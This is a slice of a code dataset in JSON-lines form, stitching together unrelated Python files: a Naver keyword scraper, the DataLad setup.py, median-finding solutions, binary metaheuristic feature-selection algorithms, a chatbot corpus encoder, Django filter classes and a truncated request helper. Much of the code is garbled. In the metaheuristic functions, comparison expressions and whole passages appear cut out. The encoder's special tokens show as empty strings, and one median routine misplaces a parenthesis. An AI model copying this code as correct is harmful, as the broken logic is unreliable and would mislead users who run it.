Fractions.py","file_name":"1447-Simplified Fractions.py","file_ext":"py","file_size_in_byte":454,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"489338955","text":"# 네이버 실시간 검색어 크롤링\n\nimport requests\nfrom bs4 import BeautifulSoup as BS\n\nreq = requests.get('http://www.naver.com/')\nsource = req.text\nsoup = BS(source, 'html.parser')\n\ntop_list = soup.select('#PM_ID_ct > div.header > div.section_navbar > div.area_hotkeyword.PM_CL_realtimeKeyword_base > div.ah_roll.PM_CL_realtimeKeyword_rolling_base > div > ul > li > a > span.ah_k')\n\nfor top in top_list :\n print(top.text)\n","sub_path":"test/crawlingTest02.py","file_name":"crawlingTest02.py","file_ext":"py","file_size_in_byte":435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"178204897","text":"#!/usr/bin/env python\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\n#\n# See COPYING file distributed along with the DataLad package for the\n# copyright and license terms.\n#\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\n\nimport platform\n\nfrom os.path import sep as pathsep\nfrom os.path import join as opj\nfrom os.path import splitext\nfrom os.path import dirname\n\nfrom setuptools import findall\nfrom setuptools import setup, find_packages\n\n# manpage build imports\nfrom setup_support import BuildManPage\nfrom setup_support import BuildRSTExamplesFromScripts\nfrom setup_support import BuildConfigInfo\nfrom setup_support import get_version\n\n\ndef findsome(subdir, extensions):\n \"\"\"Find files under subdir having specified extensions\n\n Leading directory (datalad) gets stripped\n \"\"\"\n return [\n f.split(pathsep, 1)[1] for f in findall(opj('datalad', subdir))\n if splitext(f)[-1].lstrip('.') in extensions\n ]\n\n# datalad version to be installed\nversion = get_version()\n\n# Only recentish versions of find_packages support include\n# datalad_pkgs = find_packages('.', include=['datalad*'])\n# so we will filter manually for maximal compatibility\ndatalad_pkgs = [pkg for pkg in find_packages('.') if pkg.startswith('datalad')]\n\n# keyring is a tricky one since it got split into two as of 8.0 and on older\n# systems there is a problem installing via pip (e.g. on wheezy) so for those we\n# would just ask for keyring\nkeyring_requires = ['keyring>=8.0', 'keyrings.alt']\npbar_requires = ['tqdm']\n\ndist = platform.dist()\n# on oldstable Debian let's ask for lower versions of keyring\nif dist[0] == 'debian' and dist[1].split('.', 1)[0] == '7':\n keyring_requires = ['keyring<8.0']\n\nrequires = {\n 'core': [\n 'appdirs',\n 'GitPython>=2.1.0',\n 'iso8601',\n 'humanize',\n 'mock', # mock is also used for auto.py, not only for testing\n 'patool>=1.7',\n 'six>=1.8.0',\n ] + pbar_requires,\n 'downloaders': [\n 'boto',\n 'msgpack-python',\n 'requests>=1.2',\n ] + keyring_requires,\n 'downloaders-extra': [\n 'requests_ftp',\n ],\n 'crawl': [\n 'scrapy>=1.1.0rc3', # versioning is primarily for python3 support\n ],\n 'publish': [\n 'jsmin', # nice to have, and actually also involved in `install`\n 'PyGithub', # nice to have\n ],\n 'tests': [\n 'BeautifulSoup4', # VERY weak requirement, still used in one of the tests\n 'httpretty>=0.8.14',\n 'mock',\n 'nose>=1.3.4',\n 'vcrpy',\n ],\n 'metadata': [\n 'simplejson',\n 'pyld',\n ],\n 'metadata-extra': [\n 'PyYAML', # very optional\n ]\n}\n\nrequires['full'] = sum(list(requires.values()), [])\n\n# Now add additional ones useful for development\nrequires.update({\n 'devel-docs': [\n # used for converting README.md -> .rst for long_description\n 'pypandoc',\n # Documentation\n 'sphinx',\n 'sphinx-rtd-theme',\n ],\n 'devel-utils': [\n 'nose-timer',\n 'line-profiler',\n # necessary for accessing SecretStorage keyring (system wide Gnome\n # keyring) but not installable on travis, IIRC since it needs connectivity\n # to the dbus whenever installed or smth like that, thus disabled here\n # but you might need it\n # 'dbus-python',\n ],\n 'devel-neuroimaging': [\n # Specifically needed for tests here (e.g. example scripts testing)\n 'nibabel',\n ]\n})\nrequires['devel'] = sum(list(requires.values()), [])\n\n\n# let's not build manpages and examples automatically (gh-896)\n# configure additional command for custom build steps\n#class DataladBuild(build_py):\n# def run(self):\n# self.run_command('build_manpage')\n# self.run_command('build_examples')\n# build_py.run(self)\n\ncmdclass = {\n 'build_manpage': BuildManPage,\n 'build_examples': BuildRSTExamplesFromScripts,\n 'build_cfginfo': BuildConfigInfo,\n # 'build_py': DataladBuild\n}\n\n# PyPI doesn't render markdown yet. Workaround for a sane appearance\n# https://github.com/pypa/pypi-legacy/issues/148#issuecomment-227757822\nREADME = opj(dirname(__file__), 'README.md')\ntry:\n import pypandoc\n long_description = pypandoc.convert(README, 'rst')\nexcept ImportError:\n long_description = open(README).read()\n\nsetup(\n name=\"datalad\",\n author=\"The DataLad Team and Contributors\",\n author_email=\"team@datalad.org\",\n version=version,\n description=\"data distribution geared toward scientific datasets\",\n long_description=long_description,\n packages=datalad_pkgs,\n install_requires=\n requires['core'] + requires['downloaders'] +\n requires['publish'] + requires['metadata'],\n extras_require=requires,\n entry_points={\n 'console_scripts': [\n 'datalad=datalad.cmdline.main:main',\n 'git-annex-remote-datalad-archives=datalad.customremotes.archives:main',\n 'git-annex-remote-datalad=datalad.customremotes.datalad:main',\n ],\n },\n cmdclass=cmdclass,\n package_data={\n 'datalad':\n findsome('resources', {'sh', 'html', 'js', 'css', 'png', 'svg'}) +\n findsome('downloaders/configs', {'cfg'})\n }\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":5309,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"109697907","text":"class Solution:\n\n def findMedianMerge(self, nums1: [int], nums2: [int]) -> float:\n # Time: O(m+n)\n # Space: O(m+n)\n m, n = len(nums1), len(nums2)\n tot = m + n\n pa, pb, pn = m - 1, n - 1, tot - 1\n aux = [0 for i in range(tot)]\n\n while pa >= 0 or pb >= 0:\n if pa == -1:\n aux[pn] = nums2[pb]\n pb -= 1\n elif pb == -1:\n aux[pn] = nums1[pa]\n pa -= 1\n elif nums1[pa] > nums2[pb]:\n aux[pn] = nums1[pa]\n pa -= 1\n else:\n aux[pn] = nums2[pb]\n pb -= 1\n\n pn -= 1\n\n if tot % 2 == 1:\n return aux[(tot - 1) // 2]\n else:\n return (aux[tot // 2] + aux[tot // 2 - 1]) / 2\n\n def findMedianBinary(self, nums1: [int], nums2: [int]) -> float:\n # Time: O(log(m+n))\n # Space: O(1)\n def getKthElement(k):\n pa, pb = 0, 0\n while True:\n if pa == m:\n return nums2[pb + k - 1]\n if pb == n:\n return nums1[pa + k - 1]\n if k == 1:\n return min(nums1[pa], nums2[pb])\n\n newpa = min(pa + k // 2 - 1, m - 1)\n newpb = min(pb + k // 2 - 1, n - 1)\n pivot1, pivot2 = nums1[newpa], nums2[newpb]\n if pivot1 <= pivot2:\n k -= newpa - pa + 1\n pa = newpa + 1\n else:\n k -= newpb - pb + 1\n pb = newpb + 1\n\n m, n = len(nums1), len(nums2)\n tot = m + n\n if tot % 2 == 1:\n return getKthElement((tot + 1) // 2)\n else:\n return (getKthElement(tot // 2) + getKthElement(tot // 2 + 1) / 2)\n\n def findMedianSortedArrays(self, nums1: [int], nums2: [int]) -> float:\n # Time: O(log(min(m,n)))\n # Space: O(1)\n if len(nums1) > len(nums2):\n return self.findMedianSortedArrays(nums2, nums1)\n\n infty = 2**40\n m, n = len(nums1), len(nums2)\n left, right, ansi = 0, m, -1\n # max in the first half\n # min in the second half\n median1, median2 = 0, 0\n\n while left <= right:\n i = (left + right) // 2\n j = (m + n + 1) // 2 - i\n\n nums_im1 = (-infty if i == 0 else nums1[i-1])\n nums_i = (infty if i == m else nums1[i])\n nums_jm1 = (-infty if j == 0 else nums2[j-1])\n nums_j = (infty if j == n else nums2[j])\n\n if nums_im1 <= nums_j:\n ansi = i\n median1, median2 = max(nums_im1, nums_jm1), min(nums_i, nums_j)\n left = i + 1\n else:\n right = i - 1\n\n return (median1 + median2) / 2 if (m + n) % 2 == 0 else median1\n","sub_path":"Interview/Array/findMedianSortedArrays.py","file_name":"findMedianSortedArrays.py","file_ext":"py","file_size_in_byte":2884,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"514046010","text":"\"\"\"Using Libraly\"\"\"\nimport numpy as np\nimport random\nfrom itertools import combinations as cb\nimport math\nfrom copy import deepcopy as dc\nfrom tqdm import tqdm\n\n\"\"\"Using Algorithm\n* Binary Genetic Algorithm\n* Binary Particle Swarm optimization\n* Binary Cuckoo Search\n* Binary Firefly algorithm\n* Binary Bat Algorithm\n* Binary Gravitational Search algorithm\n* Binary Dragon Fly Algorithm\n\"\"\"\n\n\"\"\"Evaluate Function \"\"\"\nclass Evaluate:\n def __init__(self):\n None\n def evaluate(self,gen):\n None\n def check_dimentions(self,dim):\n None\n\n\"\"\"Common Function\"\"\"\ndef random_search(n,dim):\n \"\"\"\n create genes list\n input:{ n: Number of population, default=20\n dim: Number of dimension\n }\n output:{genes_list → [[0,0,0,1,1,0,1,...]...n]\n }\n \"\"\"\n gens=[[0 for g in range(dim)] for _ in range(n)]\n for i,gen in enumerate(gens) :\n r=random.randint(1,dim)\n for _r in range(r):\n gen[_r]=1\n random.shuffle(gen)\n return gens\n\n\"\"\"BGA\"\"\"\ndef suddn(li,n_li,num):#突然変異\n l1= [random.choice(n_li) for i in range(num)]\n l2= [random.choice([0,1]) for i in range(num)]\n al_li=dc(li)\n for i in range(len(l1)):\n al_li[l1[i]]=l2[i]\n #li=''.join(_d)\n return al_li\n\ndef BGA(Eval_Func,n=20,m_i=300,mutation=0.05,minf=0,dim=None,prog=False):\n \"\"\"\n input:{ Eval_Func: Evaluate_Function, type is class\n n: Number of population, default=20\n m_i: Number of max iteration, default=300\n mutation: Probability of mutation, default=0.05(5%)\n minf: minimazation flag, default=0, 0=maximization, 1=minimazation\n dim: Number of feature, default=None\n prog: Do you want to use a progress bar?, default=False\n }\n\n output:{Best value: type float 0.967\n Best position: type list(int) [1,0,0,1,.....]\n Nunber of 1s in best position: type int [0,1,1,0,1] → 3\n }\n \"\"\"\n estimate=Eval_Func().evaluate\n if dim==None:\n dim=Eval_Func().check_dimentions(dim)\n gens=random_search(n,dim)\n fit=[0 for i in range(n)]\n num_li=range(dim)\n #flag=dr\n best_val=float(\"-inf\") if minf == 0 else float(\"inf\")#minf==0のときは最大化なので-infを初期ベストにし、全部0の部分集合を初期ベストにする\n best_pos=[0]*dim\n gens_dict={tuple([0]*dim):float(\"-inf\") if minf == 0 else float(\"inf\")}\n prop=mutation\n\n if prog:\n miter=tqdm(range(m_i))\n else:\n miter=range(m_i)\n\n for it in miter:\n for i,gen in enumerate(gens):\n if tuple(gen) in gens_dict:\n v=gens_dict[tuple(gen)]\n else:\n score=estimate(gen)\n gens_dict[tuple(gen)]=score\n fit[i]=score\n if best_val < score if minf==0 else best_val > score:\n best_val=dc(score)\n best_pos=dc(gen)\n alter_gens=sorted(gens,reverse=True)[:2]\n t1=random.randint(1,len(gens[0])-2)\n t2=random.randint(t1,len(gens[0])-1)\n\n fit_ind=np.argsort(fit)[::-1][:n//2]\n sample_num=random.sample(list(cb(fit_ind,2)),n-2)\n qgens=[suddn(gens[s][:t1]+gens[m][t1:t2]+gens[s][t2:],num_li,dim//3) if np.random.choice([0,1],size=1,p=[1-prop,prop])[0]==1\n else gens[s][:t1]+gens[m][t1:t2]+gens[s][t2:] for s,m in sample_num]\n gens=[]\n gens.extend(qgens)\n gens.append(alter_gens[0])\n gens.append(alter_gens[1])\n return best_val,best_pos,best_pos.count(1)\n\n\"\"\"BPSO\"\"\"\ndef logsig(n): return 1 / (1 + math.exp(-n))\ndef sign(x): return 1 if x > 0 else (-1 if x!=0 else 0)\n\ndef BPSO(Eval_Func,n=20,m_i=200,minf=0,dim=None,prog=False,w1=0.5,c1=1,c2=1,vmax=4):\n \"\"\"\n input:{ \n Eval_Func: Evaluate_Function, type is class\n n: Number of population, default=20\n m_i: Number of max iteration, default=300\n minf: minimazation flag, default=0, 0=maximization, 1=minimazation\n dim: Number of feature, default=None\n prog: Do you want to use a progress bar?, default=False\n w1: move rate, default=0.5\n c1,c2: It's are two fixed variables, default=1,1\n vmax: Limit search range of vmax, default=4\n }\n\n output:{\n Best value: type float 0.967\n Best position: type list(int) [1,0,0,1,.....]\n Nunber of 1s in best position: type int [0,1,1,0,1] → 3\n }\n \"\"\"\n estimate=Eval_Func().evaluate\n if dim==None:\n dim=Eval_Func().check_dimentions(dim)\n gens=random_search(n,dim)\n pbest=float(\"-inf\") if minf == 0 else float(\"inf\")\n gbest=float(\"-inf\") if minf == 0 else float(\"inf\")\n #vec=3\n #flag=dr\n gens=random_search(n,dim)\n vel=[[random.random()-0.5 for d in range(dim)] for _n in range(n)]\n one_vel=[[random.random()-0.5 for d in range(dim)] for _n in range(n)]\n zero_vel=[[random.random()-0.5 for d in range(dim)] for _n in range(n)]\n\n fit=[float(\"-inf\") if minf == 0 else float(\"inf\") for i in range(n)]\n pbest=dc(fit)\n xpbest=dc(gens)\n #w1=0.5\n if minf==0:\n gbest=max(fit)\n xgbest=gens[fit.index(max(fit))]\n else:\n gbest=min(fit)\n xgbest=gens[fit.index(min(fit))]\n\n #c1,c2=1,1\n #vmax=4\n gens_dict={tuple([0]*dim):float(\"-inf\") if minf == 0 else float(\"inf\")}\n if prog:\n miter=tqdm(range(m_i))\n else:\n miter=range(m_i)\n\n for it in miter:\n #w=0.5\n for i in range(n):\n if tuple(gens[i]) in gens_dict:\n score=gens_dict[tuple(gens[i])]\n else:\n score=estimate(gens[i])\n gens_dict[tuple(gens[i])]=score\n fit[i]=score\n if fit[i]>pbest[i] if minf==0 else fit[i]gg:#max\n gbest=dc(gg)\n xgbest=dc(xgg)\n\n oneadd=[[0 for d in range(dim)] for i in range(n)]\n zeroadd=[[0 for d in range(dim)] for i in range(n)]\n c3=c1*random.random()\n dd3=c2*random.random()\n for i in range(n):\n for j in range(dim):\n if xpbest[i][j]==0:\n oneadd[i][j]=oneadd[i][j]-c3\n zeroadd[i][j]=zeroadd[i][j]+c3\n else:\n oneadd[i][j]=oneadd[i][j]+c3\n zeroadd[i][j]=zeroadd[i][j]-c3\n\n if xgbest[j]==0:\n oneadd[i][j]=oneadd[i][j]-dd3\n zeroadd[i][j]=zeroadd[i][j]+dd3\n else:\n oneadd[i][j]=oneadd[i][j]+dd3\n zeroadd[i][j]=zeroadd[i][j]-dd3\n\n one_vel=[[w1*_v+_a for _v,_a in zip(ov,oa)] for ov,oa in zip(one_vel,oneadd)]\n zero_vel=[[w1*_v+_a for _v,_a in zip(ov,oa)] for ov,oa in zip(zero_vel,zeroadd)]\n for i in range(n):\n for j in range(dim):\n if abs(vel[i][j]) > vmax:\n zero_vel[i][j]=vmax*sign(zero_vel[i][j])\n one_vel[i][j]=vmax*sign(one_vel[i][j])\n for i in range(n):\n for j in range(dim):\n if gens[i][j]==1:\n vel[i][j]=zero_vel[i][j]\n else:\n vel[i][j]=one_vel[i][j]\n veln=[[logsig(s[_s]) for _s in range(len(s))] for s in vel]\n temp=[[random.random() for d in range(dim)] for _n in range(n)]\n for i in range(n):\n for j in range(dim):\n if temp[i][j] fit[i] if minf==0 else score < fit[i]:\n fit[i]=score\n pos[i]=g\n\n maxfit,maxind=max(fit),fit.index(max(fit))\n minfit,minind=min(fit),fit.index(min(fit))\n if minf==0:\n if maxfit > g_val:\n g_val=dc(maxfit)\n g_pos=dc(gens[maxind])\n else:\n if minfit < g_val:\n g_val=dc(minfit)\n g_pos=dc(gens[minind])\n\n if pa < random.uniform(0,1):\n if minf==0:\n gens[minind]=[0 if 0.5>random.uniform(0,1) else 1 for _ in range(dim)]#rand_gen()\n fit[minind]=float(\"-inf\") if minf == 0 else float(\"inf\")\n else:\n gens[maxind]=[0 if 0.5>random.uniform(0,1) else 1 for _ in range(dim)]#rand_gen()\n fit[maxind]=float(\"-inf\") if minf == 0 else float(\"inf\")\n\n\n for g in gens:\n for d in range(dim):\n x=levy_flight(beta,g_pos[d],g[d],alpha)\n if random.uniform(0,1) < sigmoid(x):\n g[d]=1\n else:\n g[d]=0\n return g_val,g_pos,g_pos.count(1)\n\n\"\"\"BFFA\"\"\"\ndef exchange_binary(binary,score):#,alpha,beta,gamma,r):\n\n #binary in list\n al_binary=binary\n #movement=move(b,alpha,beta,gamma,r)\n movement=math.tanh(score)\n ##al_binary=[case7(b) if random.uniform(0,1) < movement else case8(b) for b in binary]\n if random.uniform(0,1) < movement:\n for i,b in enumerate(binary):\n al_binary[i]=case7(b)\n else:\n for i,b in enumerate(binary):\n al_binary[i]=case8(b)\n return al_binary\n\ndef case7(one_bin):\n return 1 if random.uniform(-0.1,0.9) global_best:\n global_best=score\n global_position=dc(gen)\n if prog:\n miter=tqdm(range(m_i))\n else:\n miter=range(m_i)\n for it in miter:\n for i,x in enumerate(gens):\n for j,y in enumerate(gens):\n if gens_dict[tuple(y)] < gens_dict[tuple(x)]:\n gens[j]=exchange_binary(y,gens_dict[tuple(y)])\n gen = gens[j]\n if tuple(gen) in gens_dict:\n score = gens_dict[tuple(gen)]\n else:\n score=estimate(gens[j])\n gens_dict[tuple(gen)]=score\n if score > global_best if minf==0 else score < global_best:\n global_best=score\n global_position=dc(gen)\n return global_best,global_position,global_position.count(1)\n\n\"\"\"BGSA\"\"\"\ndef Bmove(x,a,v):\n n,dim=len(x),len(x[0])#size(x)#次元がかえってくる20,13(群数,特徴次元)\n v=[[random.random()*v[j][i]+a[i] for i in range(dim)] for j in range(n)]#rand(n,nn).*v+a#要素ごとの乗算#randは次元数分のrand配列\n s=[[abs(math.tanh(_v)) for _v in vv ] for vv in v]\n temp=[[1 if rr 1:\n if minf==1:\n pass\n #afit=find(fitness>fitold)#minimazation#find is return index_list\n afit=[ind for ind in range(n) if fit[ind] > fitold[ind]]\n else:\n #afit=find(fittnessfbest:\n fbest=best\n lbest=gens[best_ind]\n\n bestc=fbest\n meanc=np.mean(fit)\n\n m=mc(fit,minf)\n g=BGc(it,m_i)\n a=BGf(m,gens,g,Rp,EC,it,m_i)\n\n gensold=dc(gens)\n fitold=dc(fit)\n\n gens,v=Bmove(gens,a,v)\n return fbest,lbest,lbest.count(1)\n\n\"\"\"BBA\"\"\"\ndef BBA(Eval_Func,n=20,m_i=200,dim=None,minf=0,prog=False,qmin=0,qmax=2,loud_A=0.25,r=0.4):\n \"\"\"\n input:{ Eval_Func: Evaluate_Function, type is class\n n: Number of population, default=20\n m_i: Number of max iteration, default=300\n minf: minimazation flag, default=0, 0=maximization, 1=minimazation\n dim: Number of feature, default=None\n prog: Do you want to use a progress bar?, default=False\n qmin: frequency minimum to step\n qmax: frequency maximum to step\n loud_A: value of Loudness, default=0.25\n r: Pulse rate, default=0.4, Probability to relocate near the best position\n }\n\n output:{Best value: type float 0.967\n Best position: type list(int) [1,0,0,1,.....]\n Nunber of 1s in best position: type int [0,1,1,0,1] → 3\n }\n \"\"\"\n estimate=Eval_Func().evaluate\n if dim==None:\n dim=Eval_Func().check_dimentions(dim)\n #flag=dr\n #qmin=0\n #qmax=2\n #loud_A=0.25\n #r=0.1\n #n_iter=0\n gens_dic={tuple([0]*dim):float(\"-inf\") if minf == 0 else float(\"inf\")}\n q=[0 for i in range(n)]\n v=[[0 for d in range(dim)] for i in range(n)]\n #cgc=[0 for i in range(max_iter)]\n fit=[float(\"-inf\") if minf == 0 else float(\"inf\") for i in range(n)]\n #dr=False\n gens=random_search(n,dim)#[[random.choice([0,1]) for d in range(dim)] for i in range(n)]\n\n for i in range(n):\n if tuple(gens[i]) in gens_dic:\n fit[i]=gens_dic[tuple(gens[i])]\n else:\n fit[i]=estimate(gens[i])\n gens_dic[tuple(gens[i])]=fit[i]\n\n if minf==0:\n maxf=max(fit)\n best_v=maxf\n best_s=gens[fit.index(max(fit))]\n elif minf==1:\n minf=min(fit)\n best_v=minf\n best_s=gens[fit.index(min(fit))]\n\n\n if prog:\n miter=tqdm(range(m_i))\n else:\n miter=range(m_i)\n\n for it in miter:\n #cgc[i]=maxf\n for i in range(n):\n for j in range(dim):\n q[i]=qmin+(qmin-qmax)*random.random()\n v[i][j]=v[i][j]+(gens[i][j]-best_s[j])*q[i]\n\n vstf=abs((2/math.pi)*math.atan((math.pi/2)*v[i][j]))\n\n if random.random()r:\n gens[i][j]=best_s[j]\n\n if tuple(gens[i]) in gens_dic:\n fnew=gens_dic[tuple(gens[i])]\n else:\n fnew=estimate(gens[i])\n gens_dic[tuple(gens[i])]=fnew\n\n if fnew >= fit[i] and random.random() < loud_A if minf==0 else fnew <= fit[i] and random.random() < loud_A:#max?\n gens[i]=gens[i]\n fit[i]=fnew\n\n if fnew>best_v if minf==0 else fnew (3*maxiter/3):\n e=0\n\n for i in range(n):\n if tuple(genes[i]) in gens_dict:\n fit[i]=gens_dict[tuple(genes[i])]\n else:\n fit[i]=estimate(genes[i])\n gens_dict[tuple(genes[i])]=dc(fit[i])\n if fit[i] > food_fit if minf==0 else fit[i] < food_fit:\n food_fit=dc(fit[i])\n food_pos=dc(genes[i])\n\n if fit[i] > enemy_fit if minf==0 else fit[i] < enemy_fit:\n enemy_fit=dc(fit[i])\n enemy_pos=dc(genes[i])\n\n for i in range(n):\n ind=-1\n nn=-1\n ndx=[[0 for _d in range(dim)] for _ in range(n)]\n nx=[[0 for _d in range(dim)] for _ in range(n)]\n\n for j in range(n):\n if i==j:\n pass\n else:\n ind+=1\n nn+=1\n ndx[ind]=dc(genesX[j])\n nx[ind]=dc(genes[j])\n\n S=[0 for _ in range(dim)]\n for k in range(nn):\n S=[_s+(_x-_y) for _s,(_x,_y) in zip(S,zip(ndx[k],genes[i]))] #s+(nx[k]-x[i])\n S=S\n\n A=[sum([_[_d] for _ in ndx])/nn for _d in range(dim)]#[sum(_)/nn if _ != 0 else 0 for _ in ndx]\n #[_-g for _,g in zip([sum([_[_d] for _ in nx])/nn for _d in range(dim)],genes[i])]\n C=[_-g for _,g in zip([sum([_[_d] for _ in nx])/nn for _d in range(dim)],genes[i])]#[sum(_)/nn-g if _ != 0 else 0 for _,g in zip(nx,genes[i])]\n\n F=[fp-g for fp,g in zip(food_pos,genes[i])]\n E=[ep+g for ep,g in zip(enemy_pos,genes[i])]\n\n for j in range(dim):\n genesX[i][j]=s*S[j]+a*A[j]+c*C[j]+ f *F[j]+e*E[j]+w*genesX[i][j]\n\n if genesX[i][j] > 6:\n genesX[i][j]=6\n if genesX[i][j] < -6:\n genesX[i][j]=-6\n T = abs(genesX[i][j] / math.sqrt((1+genesX[i][j]**2)))\n if random.random()']) for word in words] + [word_map['']] * (max_len - len(words))\n if len(words) > max_len:\n # 提问句子的处理:填未知词+pad\n enc_c = [word_map.get(word, word_map['']) for word in words][:max_len]\n return enc_c\n\n\ndef encode_reply(words, word_map, max_len):\n # 回答句子的处理:填未知词+pad + + \n enc_c = [word_map['']] + [word_map.get(word, word_map['']) for word in words] + \\\n [word_map['']] + [word_map['']] * (max_len - len(words))\n if len(words) > max_len:\n enc_c = [word_map['']] + [word_map.get(word, word_map['']) for word in words][:max_len] + [\n word_map['']]\n return enc_c\n\n\nif __name__ == '__main__':\n vars = get_conf(conf_path='conf.ini')\n\n # 设置最小单词数\n min_word_freq = vars['min_word_freq']\n max_len = vars['max_len']\n corpus_encoded_path = vars['corpus_encoded_path']\n vocab_path = vars['vocab_path']\n\n with open('data/gen_data/corpus.json', 'r', encoding='utf8') as corpus_file:\n corpus = json.load(corpus_file)\n\n # 对语料集进行处理(分字 + 填充标志符 + 限制长度)\n new_corpus = []\n word_freq = Counter()\n for i in range(len(corpus)):\n start_words = [_ for _ in corpus[i][0]]\n end_words = [_ for _ in corpus[i][1]]\n new_corpus.append([start_words, end_words])\n word_freq.update(start_words)\n word_freq.update(end_words)\n\n # 构建词汇表\n words = [w for w in word_freq.keys() if word_freq[w] > min_word_freq]\n word_map = {k: v + 1 for v, k in enumerate(words)}\n word_map = {k: v for k, v in sorted(word_map.items(), key=lambda item: item[1])}\n word_map[''] = len(word_map) + 1\n word_map[''] = len(word_map) + 1\n word_map[''] = len(word_map) + 1\n word_map[''] = 0\n print(\"Total words are: {}\".format(len(word_map)))\n\n with open(vocab_path, 'w', encoding='utf8') as j:\n json.dump(word_map, j, ensure_ascii=False)\n\n # 语料集的处理\n corpus_num = []\n for pair in new_corpus:\n question = encode_question(pair[0], word_map, max_len)\n answer = encode_reply(pair[1], word_map, max_len)\n corpus_num.append([question, answer])\n\n with open(corpus_encoded_path, 'w') as p:\n json.dump(corpus_num, p)\n\n","sub_path":"nlp_process_word.py","file_name":"nlp_process_word.py","file_ext":"py","file_size_in_byte":2554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"428602811","text":"from __future__ import unicode_literals\n\nfrom django.db.models import Q\n\nimport django_filters\n\nfrom .models import (AutonomousSystem, Community, ConfigurationTemplate,\n InternetExchange, PeeringSession, Router)\n\n\nclass AutonomousSystemFilter(django_filters.FilterSet):\n q = django_filters.CharFilter(\n method='search',\n label='Search',\n )\n\n class Meta:\n model = AutonomousSystem\n fields = ['q', 'asn', 'name', 'irr_as_set',\n 'ipv6_max_prefixes', 'ipv4_max_prefixes']\n\n def search(self, queryset, name, value):\n if not value.strip():\n return queryset\n qs_filter = (\n Q(name__icontains=value) |\n Q(irr_as_set__icontains=value) |\n Q(comment__icontains=value)\n )\n try:\n qs_filter |= Q(asn=int(value.strip()))\n except ValueError:\n pass\n try:\n qs_filter |= Q(ipv6_max_prefixes=int(value.strip()))\n except ValueError:\n pass\n try:\n qs_filter |= Q(ipv4_max_prefixes=int(value.strip()))\n except ValueError:\n pass\n return queryset.filter(qs_filter)\n\n\nclass CommunityFilter(django_filters.FilterSet):\n q = django_filters.CharFilter(\n method='search',\n label='Search',\n )\n\n class Meta:\n model = Community\n fields = ['q', 'name', 'value']\n\n def search(self, queryset, name, value):\n if not value.strip():\n return queryset\n qs_filter = (\n Q(name__icontains=value) |\n Q(value__icontains=value) |\n Q(comment__icontains=value)\n )\n return queryset.filter(qs_filter)\n\n\nclass ConfigurationTemplateFilter(django_filters.FilterSet):\n q = django_filters.CharFilter(\n method='search',\n label='Search',\n )\n\n class Meta:\n model = Community\n fields = ['q', 'name']\n\n def search(self, queryset, name, value):\n if not value.strip():\n return queryset\n qs_filter = (\n Q(name__icontains=value) |\n Q(template__icontains=value)\n )\n return queryset.filter(qs_filter)\n\n\nclass InternetExchangeFilter(django_filters.FilterSet):\n q = django_filters.CharFilter(\n method='search',\n label='Search',\n )\n configuration_template = django_filters.ModelMultipleChoiceFilter(\n name='configuration_template__id',\n queryset=ConfigurationTemplate.objects.all(),\n to_field_name='id',\n label='Template',\n )\n router = django_filters.ModelMultipleChoiceFilter(\n name='router__id',\n queryset=Router.objects.all(),\n to_field_name='id',\n label='Router',\n )\n\n class Meta:\n model = InternetExchange\n fields = ['q', 'name', 'ipv6_address', 'ipv4_address']\n\n def search(self, queryset, name, value):\n if not value.strip():\n return queryset\n qs_filter = (\n Q(name__icontains=value) |\n Q(ipv6_address__icontains=value) |\n Q(ipv4_address__icontains=value) |\n Q(comment__icontains=value)\n )\n return queryset.filter(qs_filter)\n\n\nclass PeeringSessionFilter(django_filters.FilterSet):\n q = django_filters.CharFilter(\n method='search',\n label='Search',\n )\n\n class Meta:\n model = PeeringSession\n fields = ['q', 'ip_address', 'autonomous_system__asn',\n 'autonomous_system__name', 'internet_exchange__name',\n 'internet_exchange__slug']\n\n def search(self, queryset, name, value):\n if not value.strip():\n return queryset\n qs_filter = (\n Q(autonomous_system__name__icontains=value) |\n Q(internet_exchange__name__icontains=value) |\n Q(internet_exchange__slug__icontains=value) |\n Q(ip_address__icontains=value) |\n Q(comment__icontains=value)\n )\n try:\n qs_filter |= Q(autonomous_system__asn=int(value.strip()))\n except ValueError:\n pass\n return queryset.filter(qs_filter)\n\n\nclass RouterFilter(django_filters.FilterSet):\n q = django_filters.CharFilter(\n method='search',\n label='Search',\n )\n platform = django_filters.MultipleChoiceFilter(\n choices=Router.PLATFORM_CHOICES,\n null_value=None\n )\n\n class Meta:\n model = Router\n fields = ['q', 'name', 'hostname']\n\n def search(self, queryset, name, value):\n if not value.strip():\n return queryset\n qs_filter = (\n Q(name__icontains=value) |\n Q(hostname__icontains=value) |\n Q(comment__icontains=value)\n )\n return queryset.filter(qs_filter)\n","sub_path":"peering/filters.py","file_name":"filters.py","file_ext":"py","file_size_in_byte":4803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"429360976","text":"import requests\r\nimport re\r\nfrom Helper import common\r\nfrom Helper import proxy\r\nfrom DB import mysql\r\n\r\n\r\nclass webRequest:\r\n # 创建默认对象值\r\n def __init__(self, url = '', params = {}, header = {}, http_fun = 'GET', proxy = 0, coding = 'utf-8'):\r\n #将个变量赋值给对象\r\n self.url = url\r\n if params == '':\r\n self.params = {}\r\n else:\r\n self.params = params\r\n\r\n if header == '':\r\n self.header = {}\r\n else:\r\n self.header = header\r\n\r\n if http_fun == '':\r\n self.http_fun = 'GET'\r\n else:\r\n self.http_fun = http_fun\r\n\r\n self.proxy = proxy\r\n\r\n if coding == '':\r\n self.coding = 'utf-8'\r\n else:\r\n self.coding = coding\r\n\r\n def run(self):\r\n # 简单校验url\r\n if re.search(r'(http|ftp)s{0,1}://.+', self.url, re.I) is None:\r\n raise RuntimeError('url不合法')\r\n\r\n # 存在header,则使用header,否则使用默认header\r\n if self.header:\r\n pass\r\n else:\r\n self.header = common.commonHeader()\r\n\r\n # 是否使用代理\r\n if self.proxy == 0 or self.proxy == '':\r\n self.proxy = {}\r\n\r\n if self.http_fun == 